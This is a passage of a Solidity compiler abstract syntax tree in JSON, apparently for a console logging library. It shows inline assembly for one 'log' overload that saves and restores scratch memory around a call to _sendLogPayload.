escriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41389,"nodeType":"VariableDeclarationStatement","src":"231819:10:22"},{"assignments":[41391],"declarations":[{"constant":false,"id":41391,"mutability":"mutable","name":"m1","nameLocation":"231847:2:22","nodeType":"VariableDeclaration","scope":41415,"src":"231839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41390,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231839:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41392,"nodeType":"VariableDeclarationStatement","src":"231839:10:22"},{"assignments":[41394],"declarations":[{"constant":false,"id":41394,"mutability":"mutable","name":"m2","nameLocation":"231867:2:22","nodeType":"VariableDeclaration","scope":41415,"src":"231859:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41393,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231859:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41395,"nodeType":"VariableDeclarationStatement","src":"231859:10:22"},{"assignments":[41397],"declarations":[{"constant":false,"id":41397,"mutability":"mutable","name":"m3","nameLocation":"231887:2:22","nodeType":"VariableDeclaration","scope":41415,"src":"231879:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41396,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231879:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41398,"nodeType":"VariableDeclarationStatement","src":"231879:10:22"},{"assignments":[41400],"declarations":[{"constant":false,"id":41400,"mutability":"mutable","name":"m4","nameLocation":"231907:2:22","nodeType":"VariableDeclaration","scope":41415,"src":"231899:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41399,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231899:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41401,"nodeType":"VariableDeclarationStatement","src":"231899:10:22"},{"assignments":[41403],"declarations":[{"constant":false,"id":41403,"mutability":"mutable","name":"m5","nameLocation":"231927:2:22","nodeType":"VariableDeclaration","scope":41415,"src":"231919:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41402,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231919:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41404,"nodeType":"VariableDeclarationStatement","src":"231919:10:22"},{"assignments":[41406],"declarations":[{"constant":false,"id":41406,"mutability":"mutable","name":"m6","nameLocation":"231947:2:22","nodeType":"VariableDeclaration","scope":41415,"src":"231939:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41405,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231939:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41407,"nodeType":"VariableDeclarationStatement","src":"231939:10:22"},{"AST":{"nativeSrc":"231968:831:22","nodeType":"YulBlock","src":"231968:831:22","statements":[{"body":{"nativeSrc":"232011:313:22","nodeType":"YulBlock","src":"232011:313:22","statements":[{"nativeSrc":"232029:15:22","nodeType":"YulVariableDeclaration","src":"232029:15:22","value":{"kind":"number","nativeSrc":"232043:1:22","nodeType":"YulLiteral","src":"232043:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"232033:6:22","nodeType":"YulTypedName","src":"232033:6:22","type":""}]},{"body":{"nativeSrc":"232114:40:22","nodeType":"YulBlock","src":"232114:40:22","statements":[{"body":{"nativeSrc":"232143:9:22","nodeType":"YulBlock","src":"232143:9:22","statements":[{"nativeSrc":"232145:5:22","nodeType":"YulBreak","src":"232145:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"232131:6:22","nodeType":"YulIdentifier","src":"232131:6:22"},{"name":"w","nativeSrc":"232139:1:22","nodeType":"YulIdentifier","src":"232139:1:22"}],"functionName":{"name":"byte","nativeSrc":"232126:4:22","nodeType":"YulIdentifier","src":"232126:4:22"},"nativeSrc":"232126:15:22","nodeType":"YulFunctionCall","src":"232126:15:22"}],"functionName":{"name":"iszero","nativeSrc":"232119:6:22","nodeType":"YulIdentifier","src":"232119:6:22"},"nativeSrc":"232119:23:22","nodeType":"YulFunctionCall","src":"232119:23:22"},"nativeSrc":"232116:36:22","nodeType":"YulIf","src":"232116:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"232071:6:22","nodeType":"YulIdentifier","src":"232071:6:22"},{"kind":"number","nativeSrc":"232079:4:22","nodeType":"YulLiteral","src":"232079:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"232068:2:22","nodeType":"YulIdentifier","src":"232068:2:22"},"nativeSrc":"232068:16:22","nodeType":"YulFunctionCall","src":"232068:16:22"},"nativeSrc":"232061:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"232085:28:22","nodeType":"YulBlock","src":"232085:28:22","statements":[{"nativeSrc":"232087:24:22","nodeType":"YulAssignment","src":"232087:24:22","value":{"arguments":[{"name":"length","nativeSrc":"232101:6:22","nodeType":"YulIdentifier","src":"232101:6:22"},{"kind":"number","nativeSrc":"232109:1:22","nodeType":"YulLiteral","src":"232109:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"232097:3:22","nodeType":"YulIdentifier","src":"232097:3:22"},"nativeSrc":"232097:14:22","nodeType":"YulFunctionCall","src":"232097:14:22"},"variableNames":[{"name":"length","nativeSrc":"232087:6:22","nodeType":"YulIdentifier","src":"232087:6:22"}]}]},"pre":{"nativeSrc":"232065:2:22","nodeType":"YulBlock","src":"232065:2:22","statements":[]},"src":"232061:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"232178:3:22","nodeType":"YulIdentifier","src":"232178:3:22"},{"name":"length","nativeSrc":"232183:6:22","nodeType":"YulIdentifier","src":"232183:6:22"}],"functionName":{"name":"mstore","nativeSrc":"232171:6:22","nodeType":"YulIdentifier","src":"232171:6:22"},"nativeSrc":"232171:19:22","nodeType":"YulFunctionCall","src":"232171:19:22"},"nativeSrc":"232171:19:22","nodeType":"YulExpressionStatement","src":"232171:19:22"},{"nativeSrc":"232207:37:22","nodeType":"YulVariableDeclaration","src":"232207:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"232224:3:22","nodeType":"YulLiteral","src":"232224:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"232233:1:22","nodeType":"YulLiteral","src":"232233:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"232236:6:22","nodeType":"YulIdentifier","src":"232236:6:22"}],"functionName":{"name":"shl","nativeSrc":"232229:3:22","nodeType":"YulIdentifier","src":"232229:3:22"},"nativeSrc":"232229:14:22","nodeType":"YulFunctionCall","src":"232229:14:22"}],"functionName":{"name":"sub","nativeSrc":"232220:3:22","nodeType":"YulIdentifier","src":"232220:3:22"},"nativeSrc":"232220:24:22","nodeType":"YulFunctionCall","src":"232220:24:22"},"variables":[{"name":"shift","nativeSrc":"232211:5:22","nodeType":"YulTypedName","src":"232211:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"232272:3:22","nodeType":"YulIdentifier","src":"232272:3:22"},{"kind":"number","nativeSrc":"232277:4:22","nodeType":"YulLiteral","src":"232277:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"232268:3:22","nodeType":"YulIdentifier","src":"232268:3:22"},"nativeSrc":"232268:14:22","nodeType":"YulFunctionCall","src":"232268:14:22"},{"arguments":[{"name":"shift","nativeSrc":"232288:5:22","nodeType":"YulIdentifier","src":"232288:5:22"},{"arguments":[{"name":"shift","nativeSrc":"232299:5:22","nodeType":"YulIdentifier","src":"232299:5:22"},{"name":"w","nativeSrc":"232306:1:22","nodeType":"YulIdentifier","src":"232306:1:22"}],"functionName":{"name":"shr","nativeSrc":"232295:3:22","nodeType":"YulIdentifier","src":"232295:3:22"},"nativeSrc":"232295:13:22","nodeType":"YulFunctionCall","src":"232295:13:22"}],"functionName":{"name":"shl","nativeSrc":"232284:3:22","nodeType":"YulIdentifier","src":"232284:3:22"},"nativeSrc":"232284:25:22","nodeType":"YulFunctionCall","src":"232284:25:22"}],"functionName":{"name":"mstore","nativeSrc":"232261:6:22","nodeType":"YulIdentifier","src":"232261:6:22"},"nativeSrc":"232261:49:22","nodeType":"YulFunctionCall","src":"232261:49:22"},"nativeSrc":"232261:49:22","nodeType":"YulExpressionStatement","src":"232261:49:22"}]},"name":"writeString","nativeSrc":"231982:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"232003:3:22","nodeType":"YulTypedName","src":"232003:3:22","type":""},{"name":"w","nativeSrc":"232008:1:22","nodeType":"YulTypedName","src":"232008:1:22","type":""}],"src":"231982:342:22"},{"nativeSrc":"232337:17:22","nodeType":"YulAssignment","src":"232337:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"232349:4:22","nodeType":"YulLiteral","src":"232349:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"232343:5:22","nodeType":"YulIdentifier","src":"232343:5:22"},"nativeSrc":"232343:11:22","nodeType":"YulFunctionCall","src":"232343:11:22"},"variableNames":[{"name":"m0","nativeSrc":"232337:2:22","nodeType":"YulIdentifier","src":"232337:2:22"}]},{"nativeSrc":"232367:17:22","nodeType":"YulAssignment","src":"232367:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"232379:4:22","nodeType":"YulLiteral","src":"232379:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"232373:5:22","nodeType":"YulIdentifier","src":"232373:5:22"},"nativeSrc":"232373:11:22","nodeType":"YulFunctionCall","src":"232373:11:22"},"variableNames":[{"name":"m1","nativeSrc":"232367:2:22","nodeType":"YulIdentifier","src":"232367:2:22"}]},{"nativeSrc":"232397:17:22","nodeType":"YulAssignment","src":"232397:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"232409:4:22","nodeType":"YulLiteral","src":"232409:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"232403:5:22","nodeType":"YulIdentifier","src":"232403:5:22"},"nativeSrc":"232403:11:22","nodeType":"YulFunctionCall","src":"232403:11:22"},"variableNames":[{"name":"m2","nativeSrc":"232397:2:22","nodeType":"YulIdentifier","src":"232397:2:22"}]},{"nativeSrc":"232427:17:22","nodeType":"YulAssignment","src":"232427:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"232439:4:22","nodeType":"YulLiteral","src":"232439:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"232433:5:22","nodeType":"YulIdentifier","src":"232433:5:22"},"nativeSrc":"232433:11:22","nodeType":"YulFunctionCall","src":"232433:11:22"},"variableNames":[{"name":"m3","nativeSrc":"232427:2:22","nodeType":"YulIdentifier","src":"232427:2:22"}]},{"nativeSrc":"232457:17:22","nodeType":"YulAssignment","src":"232457:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"232469:4:22","nodeType":"YulLiteral","src":"232469:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"232463:5:22","nodeType":"YulIdentifier","src":"232463:5:22"},"nativeSrc":"232463:11:22","nodeType":"YulFunctionCall","src":"232463:11:22"},"variableNames":[{"name":"m4","nativeSrc":"232457:2:22","nodeType":"YulIdentifier","src":"232457:2:22"}]},{"nativeSrc":"232487:17:22","nodeType":"YulAssignment","src":"232487:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"232499:4:22","nodeType":"YulLiteral","src":"232499:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"232493:5:22","nodeType":"YulIdentifier","src":"232493:5:22"},"nativeSrc":"232493:11:22","nodeType":"YulFunctionCall","src":"232493:11:22"},"variableNames":[{"name":"m5","nativeSrc":"232487:2:22","nodeType":"YulIdentifier","src":"232487:2:22"}]},{"nativeSrc":"232517:17:22","nodeType":"YulAssignment","src":"232517:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"232529:4:22","nodeType":"YulLiteral","src":"232529:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"232523:5:22","nodeType":"YulIdentifier","src":"232523:5:22"},"nativeSrc":"232523:11:22","nodeType":"YulFunctionCall","src":"232523:11:22"},"variableNames":[{"name":"m6","nativeSrc":"232517:2:22","nodeType":"YulIdentifier","src":"232517:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232620:4:22","nodeType":"YulLiteral","src":"232620:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"232626:10:22","nodeType":"YulLiteral","src":"232626:10:22","type":"","value":"0x031c6f73"}],"functionName":{"name":"mstore","nativeSrc":"232613:6:22","nodeType":"YulIdentifier","src":"232613:6:22"},"nativeSrc":"232613:24:22","nodeType":"YulFunctionCall","src":"232613:24:22"},"nativeSrc":"232613:24:22","nodeType":"YulExpressionStatement","src":"232613:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232657:4:22","nodeType":"YulLiteral","src":"232657:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"232663:2:22","nodeType":"YulIdentifier","src":"232663:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232650:6:22","nodeType":"YulIdentifier","src":"232650:6:22"},"nativeSrc":"232650:16:22","nodeType":"YulFunctionCall","src":"232650:16:22"},"nativeSrc":"232650:16:22","nodeType":"YulExpressionStatement","src":"232650:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232686:4:22","nodeType":"YulLiteral","src":"232686:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"232692:2:22","nodeType":"YulIdentifier","src":"232692:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232679:6:22","nodeType":"YulIdentifier","src":"232679:6:22"},"nativeSrc":"232679:16:22","nodeType":"YulFunctionCall","src":"232679:16:22"},"nativeSrc":"232679:16:22","nodeType":"YulExpressionStatement","src":"232679:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232715:4:22","nodeType":"YulLiteral","src":"232715:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"232721:2:22","nodeType":"YulIdentifier","src":"232721:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232708:6:22","nodeType":"YulIdentifier","src":"232708:6:22"},"nativeSrc":"232708:16:22","nodeType":"YulFunctionCall","src":"232708:16:22"},"nativeSrc":"232708:16:22","nodeType":"YulExpressionStatement","src":"232708:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232744:4:22","nodeType":"YulLiteral","src":"232744:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"232750:4:22","nodeType":"YulLiteral","src":"232750:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"232737:6:22","nodeType":"YulIdentifier","src":"232737:6:22"},"nativeSrc":"232737:18:22","nodeType":"YulFunctionCall","src":"232737:18:22"},"nativeSrc":"232737:18:22","nodeType":"YulExpressionStatement","src":"232737:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232780:4:22","nodeType":"YulLiteral","src":"232780:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"232786:2:22","nodeType":"YulIdentifier","src":"232786:2:22"}],"functionName":{"name":"writeString","nativeSrc":"232768:11:22","nodeType":"YulIdentifier","src":"232768:11:22"},"nativeSrc":"232768:21:22","nodeType":"YulFunctionCall","src":"232768:21:22"},"nativeSrc":"232768:21:22","nodeType":"YulExpressionStatement","src":"232768:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41388,"isOffset":false,"isSlot":false,"src":"232337:2:22","valueSize":1},{"declaration":41391,"isOffset":false,"isSlot":false,"src":"232367:2:22","valueSize":1},{"declaration":41394,"isOffset":false,"isSlot":false,"src":"232397:2:22","valueSize":1},{"declaration":41397,"isOffset":false,"isSlot":false,"src":"232427:2:22","valueSize":1},{"declaration":41400,"isOffset":false,"isSlot":false,"src":"232457:2:22","valueSize":1},{"declaration":41403,"isOffset":false,"isSlot":false,"src":"232487:2:22","valueSize":1},{"declaration":41406,"isOffset":false,"isSlot":false,"src":"232517:2:22","valueSize":1},{"declaration":41378,"isOffset":false,"isSlot":false,"src":"232663:2:22","valueSize":1},{"declaration":41380,"isOffset":false,"isSlot":false,"src":"232692:2:22","valueSize":1},{"declaration":41382,"isOffset":false,"isSlot":false,"src":"232721:2:22","valueSize":1},{"declaration":41384,"isOffset":false,"isSlot":false,"src":"232786:2:22","valueSize":1}],"id":41408,"nodeType":"InlineAssembly","src":"231959:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41410,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"232824:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":41411,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"232830:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":41409,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"232808:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41412,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"232808:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41413,"nodeType":"ExpressionStatement","src":"232808:27:22"},{"AST":{"nativeSrc":"232854:214:22","nodeType":"YulBlock","src":"232854:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"232875:4:22","nodeType":"YulLiteral","src":"232875:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"232881:2:22","nodeType":"YulIdentifier","src":"232881:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232868:6:22","nodeType":"YulIdentifier","src":"232868:6:22"},"nativeSrc":"232868:16:22","nodeType":"YulFunctionCall","src":"232868:16:22"},"nativeSrc":"232868:16:22","nodeType":"YulExpressionStatement","src":"232868:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232904:4:22","nodeType":"YulLiteral","src":"232904:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"232910:2:22","nodeType":"YulIdentifier","src":"232910:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232897:6:22","nodeType":"YulIdentifier","src":"232897:6:22"},"nativeSrc":"232897:16:22","nodeType":"YulFunctionCall","src":"232897:16:22"},"nativeSrc":"232897:16:22","nodeType":"YulExpressionStatement","src":"232897:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232933:4:22","nodeType":"YulLiteral","src":"232933:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"232939:2:22","nodeType":"YulIdentifier","src":"232939:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232926:6:22","nodeType":"YulIdentifier","src":"232926:6:22"},"nativeSrc":"232926:16:22","nodeType":"YulFunctionCall","src":"232926:16:22"},"nativeSrc":"232926:16:22","nodeType":"YulExpressionStatement","src":"232926:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232962:4:22","nodeType":"YulLiteral","src":"232962:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"232968:2:22","nodeType":"YulIdentifier","src":"232968:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232955:6:22","nodeType":"YulIdentifier","src":"232955:6:22"},"nativeSrc":"232955:16:22","nodeType":"YulFunctionCall","src":"232955:16:22"},"nativeSrc":"232955:16:22","nodeType":"YulExpressionStatement","src":"232955:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"232991:4:22","nodeType":"YulLiteral","src":"232991:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"232997:2:22","nodeType":"YulIdentifier","src":"232997:2:22"}],"functionName":{"name":"mstore","nativeSrc":"232984:6:22","nodeType":"YulIdentifier","src":"232984:6:22"},"nativeSrc":"232984:16:22","nodeType":"YulFunctionCall","src":"232984:16:22"},"nativeSrc":"232984:16:22","nodeType":"YulExpressionStatement","src":"232984:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233020:4:22","nodeType":"YulLiteral","src":"233020:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"233026:2:22","nodeType":"YulIdentifier","src":"233026:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233013:6:22","nodeType":"YulIdentifier","src":"233013:6:22"},"nativeSrc":"233013:16:22","nodeType":"YulFunctionCall","src":"233013:16:22"},"nativeSrc":"233013:16:22","nodeType":"YulExpressionStatement","src":"233013:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233049:4:22","nodeType":"YulLiteral","src":"233049:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"233055:2:22","nodeType":"YulIdentifier","src":"233055:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233042:6:22","nodeType":"YulIdentifier","src":"233042:6:22"},"nativeSrc":"233042:16:22","nodeType":"YulFunctionCall","src":"233042:16:22"},"nativeSrc":"233042:16:22","nodeType":"YulExpressionStatement","src":"233042:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41388,"isOffset":false,"isSlot":false,"src":"232881:2:22","valueSize":1},{"declaration":41391,"isOffset":false,"isSlot":false,"src":"232910:2:22","valueSize":1},{"declaration":41394,"isOffset":false,"isSlot":false,"src":"232939:2:22","valueSize":1},{"declaration":41397,"isOffset":false,"isSlot":false,"src":"232968:2:22","valueSize":1},{"declaration":41400,"isOffset":false,"isSlot":false,"src":"232997:2:22","valueSize":1},{"declaration":41403,"isOffset":false,"isSlot":false,"src":"233026:2:22","valueSize":1},{"declaration":41406,"isOffset":false,"isSlot":false,"src":"233055:2:22","valueSize":1}],"id":41414,"nodeType":"InlineAssembly","src":"232845:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"231743:3:22","parameters":{"id":41385,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41378,"mutability":"mutable","name":"p0","nameLocation":"231755:2:22","nodeType":"VariableDeclaration","scope":41416,"src":"231747:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41377,"name":"uint256","nodeType":"ElementaryTypeName","src":"231747:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41380,"mutability":"mutable","name":"p1","nameLocation":"231767:2:22","nodeType":"VariableDeclaration","scope":41416,"src":"231759:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41379,"name":"address","nodeType":"ElementaryTypeName","src":"231759:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41382,"mutability":"mutable","name":"p2","nameLocation":"231779:2:22","nodeType":"VariableDeclaration","scope":41416,"src":"231771:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41381,"name":"address","nodeType":"ElementaryTypeName","src":"231771:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41384,"mutability":"mutable","name":"p3","nameLocation":"231791:2:22","nodeType":"VariableDeclaration","scope":41416,"src":"231783:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41383,"name":"bytes32","nodeType":"ElementaryTypeName","src":"231783:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"231746:48:22"},"returnParameters":{"id":41386,"nodeType":"ParameterList","parameters":[],"src":"231809:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41450,"nodeType":"FunctionDefinition","src":"233080:786:22","nodes":[],"body":{"id":41449,"nodeType":"Block","src":"233152:714:22","nodes":[],"statements":[{"assignments":[41428],"declarations":[{"constant":false,"id":41428,"mutability":"mutable","name":"m0","nameLocation":"233170:2:22","nodeType":"VariableDeclaration","scope":41449,"src":"233162:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41427,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233162:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41429,"nodeType":"VariableDeclarationStatement","src":"233162:10:22"},{"assignments":[41431],"declarations":[{"constant":false,"id":41431,"mutability":"mutable","name":"m1","nameLocation":"233190:2:22","nodeType":"VariableDeclaration","scope":41449,"src":"233182:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41430,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233182:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41432,"nodeType":"VariableDeclarationStatement","src":"233182:10:22"},{"assignments":[41434],"declarations":[{"constant":false,"id":41434,"mutability":"mutable","name":"m2","nameLocation":"233210:2:22","nodeType":"VariableDeclaration","scope":41449,"src":"233202:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41433,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233202:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41435,"nodeType":"VariableDeclarationStatement","src":"233202:10:22"},{"assignments":[41437],"declarations":[{"constant":false,"id":41437,"mutability":"mutable","name":"m3","nameLocation":"233230:2:22","nodeType":"VariableDeclaration","scope":41449,"src":"233222:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41436,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233222:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41438,"nodeType":"VariableDeclarationStatement","src":"233222:10:22"},{"assignments":[41440],"declarations":[{"constant":false,"id":41440,"mutability":"mutable","name":"m4","nameLocation":"233250:2:22","nodeType":"VariableDeclaration","scope":41449,"src":"233242:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41439,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233242:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41441,"nodeType":"VariableDeclarationStatement","src":"233242:10:22"},{"AST":{"nativeSrc":"233271:378:22","nodeType":"YulBlock","src":"233271:378:22","statements":[{"nativeSrc":"233285:17:22","nodeType":"YulAssignment","src":"233285:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"233297:4:22","nodeType":"YulLiteral","src":"233297:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"233291:5:22","nodeType":"YulIdentifier","src":"233291:5:22"},"nativeSrc":"233291:11:22","nodeType":"YulFunctionCall","src":"233291:11:22"},"variableNames":[{"name":"m0","nativeSrc":"233285:2:22","nodeType":"YulIdentifier","src":"233285:2:22"}]},{"nativeSrc":"233315:17:22","nodeType":"YulAssignment","src":"233315:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"233327:4:22","nodeType":"YulLiteral","src":"233327:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"233321:5:22","nodeType":"YulIdentifier","src":"233321:5:22"},"nativeSrc":"233321:11:22","nodeType":"YulFunctionCall","src":"233321:11:22"},"variableNames":[{"name":"m1","nativeSrc":"233315:2:22","nodeType":"YulIdentifier","src":"233315:2:22"}]},{"nativeSrc":"233345:17:22","nodeType":"YulAssignment","src":"233345:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"233357:4:22","nodeType":"YulLiteral","src":"233357:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"233351:5:22","nodeType":"YulIdentifier","src":"233351:5:22"},"nativeSrc":"233351:11:22","nodeType":"YulFunctionCall","src":"233351:11:22"},"variableNames":[{"name":"m2","nativeSrc":"233345:2:22","nodeType":"YulIdentifier","src":"233345:2:22"}]},{"nativeSrc":"233375:17:22","nodeType":"YulAssignment","src":"233375:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"233387:4:22","nodeType":"YulLiteral","src":"233387:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"233381:5:22